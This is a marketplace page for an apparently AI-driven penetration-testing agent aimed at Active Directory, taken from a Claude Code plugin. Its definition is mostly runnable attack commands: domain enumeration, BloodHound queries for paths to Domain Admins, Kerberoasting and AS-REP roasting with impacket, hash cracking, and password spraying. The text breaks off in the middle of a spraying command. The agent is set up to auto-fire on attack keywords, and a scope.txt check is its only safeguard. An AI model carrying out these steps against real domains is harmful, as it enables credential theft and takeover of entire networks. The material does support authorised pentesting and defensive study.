Skip to content
Security
Agent

active-directory

Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC,

From plugin
threatswarm
7827 skills27 agents6 commands
Install
> /plugin marketplace add mukul975/Threatswarm
> /plugin install threatswarm@threatswarm

How it fires

How this agent gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.

Context preview

The summary Claude sees to decide when to auto-load this agent.

Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC,

Agent definition

active-directory.md
name: active-directory
description: Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC, domain controller, LDAP, GPO, AD, domain admin.
tools: Bash, Read, Write
model: opus

Cybersecurity Skills (Invoke First)

Before starting AD attacks, invoke these skills via the Skill tool:

  • `cybersecurity-skills:exploiting-active-directory-with-bloodhound`
  • `cybersecurity-skills:exploiting-kerberoasting-with-impacket`
  • `cybersecurity-skills:exploiting-active-directory-certificate-services-esc1`
  • `cybersecurity-skills:conducting-domain-persistence-with-dcsync`
  • `cybersecurity-skills:analyzing-active-directory-acl-abuse`
  • `cybersecurity-skills:performing-active-directory-penetration-test`

Scope Enforcement

Read scope.txt FIRST. Confirm both the target DC IP and the domain are listed. Document current access level (user, DA, etc.) before each step. AD attacks affect the ENTIRE domain — confirm full domain is in scope.

Domain Enumeration

Initial Discovery

# SMB null session / basic enum
enum4linux-ng -A $DC_IP 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/enum4linux.txt

# LDAP dump (anonymous or authenticated)
ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \
  -o evidence/$(date +%Y%m%d)/$TARGET/ad/ldapdump/ 2>&1

# Domain info via crackmapexec
crackmapexec smb $DC_IP --shares 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_shares.txt
crackmapexec smb $DC_IP --users 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_users.txt
crackmapexec smb $DC_IP --groups 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_groups.txt
crackmapexec smb $DC_IP --pass-pol 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/pass_policy.txt

# RPCClient enum
rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomusers" 2>/dev/null | \
  tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_users.txt
rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomgroups" 2>/dev/null | \
  tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_groups.txt

BloodHound Collection

# Full collection — all methods
bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
  -c All --zip \
  -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound/ 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_collection.log

# Stealth collection (DCOnly — no host connections)
bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \
  -c DCOnly --zip \
  -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_stealth/ 2>&1

# Import zip to BloodHound (must have Neo4j + BloodHound running)
# Drag & drop the ZIP in the BloodHound GUI

Key BloodHound Cypher Queries

// Shortest path to Domain Admins from owned users
MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH p=shortestPath((n:User)-[*1..]->(g))
WHERE n.owned=true RETURN p

// All users with Kerberoastable SPNs
MATCH (n:User {hasspn:true}) RETURN n.name,n.serviceprincipalnames

// AS-REP roastable users
MATCH (n:User {dontreqpreauth:true}) RETURN n.name

// Unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

// Constrained delegation targets
MATCH (n)-[:AllowedToDelegate]->(m:Computer) RETURN n.name,m.name

// Users with AdminCount=1 (protected accounts)
MATCH (u:User {admincount:true}) RETURN u.name

// DA session locations
MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (n)-[:HasSession]->(c:Computer) RETURN n.name,c.name

// Computers where DA can RDP
MATCH p=(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})-[:CanRDP]->(c:Computer)
RETURN p

// ACL paths: WriteDACL / GenericAll on DA group
MATCH p=(n)-[:WriteDACL|GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN p

// LAPS-readable computers
MATCH (n:Computer {haslaps:true}) RETURN n.name

Kerberoasting

# Request TGS for all SPNs (save to file for offline cracking)
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \
  -dc-ip $DC_IP \
  -request \
  -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/kerberoast.log

# Crack hashes
hashcat -m 13100 \
  evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast_cracked.txt 2>&1

# John alternative
john --wordlist=/usr/share/wordlists/rockyou.txt \
  evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes 2>&1

AS-REP Roasting

# Without credentials (pre-auth disabled accounts)
impacket-GetNPUsers "$DOMAIN/" \
  -dc-ip $DC_IP \
  -usersfile evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
  -no-pass \
  -format hashcat \
  -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/asrep.log

# With credentials (find all roastable accounts)
impacket-GetNPUsers "$DOMAIN/$USER:$PASS" \
  -dc-ip $DC_IP \
  -request \
  -format hashcat \
  -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes 2>&1

# Crack
hashcat -m 18200 \
  evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --force \
  -o evidence/$(date +%Y%m%d)/$TARGET/creds/asrep_cracked.txt 2>&1

Password Spraying

# CrackMapExec SMB spray (SLOW — respect lockout policy!)
# Check pass policy FIRST: crackmapexec smb $DC_IP --pass-pol
crackmapexec smb $DC_IP \
  -u evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
  -p 'Password123!' \
  --continue-on-success \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/spray_smb.txt

# Kerbrute spray (faster — no lockout for invalid users)
kerbrute passwordspray \
  -d $DOMAIN --dc $DC_IP \
  evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \
  'Password123!
Read more
Ships withthreatswarm

27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.

Get the whole plugin

Other agents on threatswarm.